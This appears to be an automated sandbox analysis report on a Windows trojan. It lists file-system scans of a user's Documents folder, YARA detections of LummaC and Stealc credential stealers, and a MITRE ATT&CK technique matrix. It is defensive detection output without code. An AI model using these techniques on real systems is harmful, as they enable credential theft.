Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Directory queried: number of queries: 1925

Source: Yara match	File source: 00000009.00000003.3071306474.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3066643541.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2072623713.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2126921125.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2126880950.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3069882872.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3079505332.0000000001496000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3044619140.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2073666772.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3054565690.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2074587250.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088397986.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3058058519.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3073591620.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2101970678.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 275cb7a9a2.exe PID: 2696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 275cb7a9a2.exe PID: 7080, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000A.00000003.3018106480.0000000001556000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3018037056.000000000154F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c86e5fe17c.exe PID: 6056, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 275cb7a9a2.exe PID: 2696, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 275cb7a9a2.exe PID: 7080, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 28.0.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.544ed086e5.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.544ed086e5.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.3034034011.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2927820038.0000000000851000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3142726544.000000000067B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3233594668.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3192846829.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3008637392.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3233418469.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3192748086.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3194553022.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.3034813943.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2887362261.0000000005230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3143857463.0000000000851000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.3166108552.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3235463576.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.3166180848.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 544ed086e5.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003088001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003088001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
